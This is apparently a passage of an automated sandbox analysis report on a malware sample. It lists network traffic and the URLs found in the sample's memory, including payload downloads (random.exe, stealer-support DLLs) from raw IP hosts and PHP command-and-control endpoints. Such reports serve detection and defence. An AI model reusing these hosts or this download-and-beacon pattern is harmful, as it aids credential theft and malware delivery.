Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache

Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log10.7.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log10.7.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log10.7.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 912sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe_
Source: file.exe, 00000000.00000002.2413840045.00000000004C7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2415050172.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2415050172.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/2
Source: file.exe, 00000000.00000002.2415050172.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2415050172.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2415050172.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllU
Source: file.exe, 00000000.00000002.2415050172.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2415050172.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2415050172.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2415050172.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2436639774.00000000234B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2436639774.00000000234D8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2413840045.00000000004C7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2415050172.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php0dL#p
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php7
Source: file.exe, 00000000.00000002.2436639774.00000000234D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpA
Source: file.exe, 00000000.00000002.2436639774.00000000234D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpS
Source: file.exe, 00000000.00000002.2413840045.00000000004C7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: file.exe, 00000000.00000002.2415050172.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/q
Source: file.exe, 00000000.00000002.2415050172.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206Z
Source: skotes.exe, 00000017.00000002.3309117887.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000017.00000002.3309117887.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php)
Source: skotes.exe, 00000017.00000002.3309117887.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpI
Source: skotes.exe, 00000017.00000002.3309117887.0000000001299000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpJ
Source: skotes.exe, 00000017.00000002.3309117887.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpU
Source: skotes.exe, 00000017.00000002.3309117887.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpa
Source: skotes.exe, 00000017.00000002.3309117887.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpcoded
Source: skotes.exe, 00000017.00000002.3309117887.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpim
Source: skotes.exe, 00000017.00000002.3309117887.0000000001299000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpl
Source: skotes.exe, 00000017.00000002.3309117887.0000000001299000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpm
Source: skotes.exe, 00000017.00000002.3309117887.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000017.00000002.3309117887.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpy
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_392.4.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2432829428.000000001D352000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2442601118.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, IECGIEBA.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_395.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_395.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chromecache_395.4.dr, chromecache_392.4.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.7.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.7.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.7.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2436639774.00000000234B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, DHJECFCGHIDGHIDHDHIE.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2436639774.00000000234B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, DHJECFCGHIDGHIDHDHIE.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2cc80dabc69f58b6_1.7.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.7.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.8.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.7.dr	String found in binary or memory: https://c.msn.com/
Source: IECGIEBA.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2278211462.000000002345C000.00000004.00000020.00020000.00000000.sdmp, CBGCGDBK.0.dr, Web Data.7.dr, IECGIEBA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2278211462.000000002345C000.00000004.00000020.00020000.00000000.sdmp, CBGCGDBK.0.dr, Web Data.7.dr, IECGIEBA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.7.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.7.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 1157b7a7-140d-408b-a22c-4d269b928aa6.tmp.8.dr	String found in binary or memory: https://clients2.google.com
Source: 1157b7a7-140d-408b-a22c-4d269b928aa6.tmp.8.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: chromecache_395.4.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_395.4.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2436639774.00000000234B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, DHJECFCGHIDGHIDHDHIE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2436639774.00000000234B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, DHJECFCGHIDGHIDHDHIE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: 2cc80dabc69f58b6_0.7.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: chromecache_395.4.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: file.exe, 00000000.00000003.2278211462.000000002345C000.00000004.00000020.00020000.00000000.sdmp, CBGCGDBK.0.dr, Web Data.7.dr, IECGIEBA.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2278211462.000000002345C000.00000004.00000020.00020000.00000000.sdmp, CBGCGDBK.0.dr, Web Data.7.dr, IECGIEBA.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2278211462.000000002345C000.00000004.00000020.00020000.00000000.sdmp, CBGCGDBK.0.dr, Web Data.7.dr, IECGIEBA.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log10.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log10.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log10.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log9.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.7.dr, 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.7.dr, 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: HubApps Icons.7.dr, 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.7.dr, 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
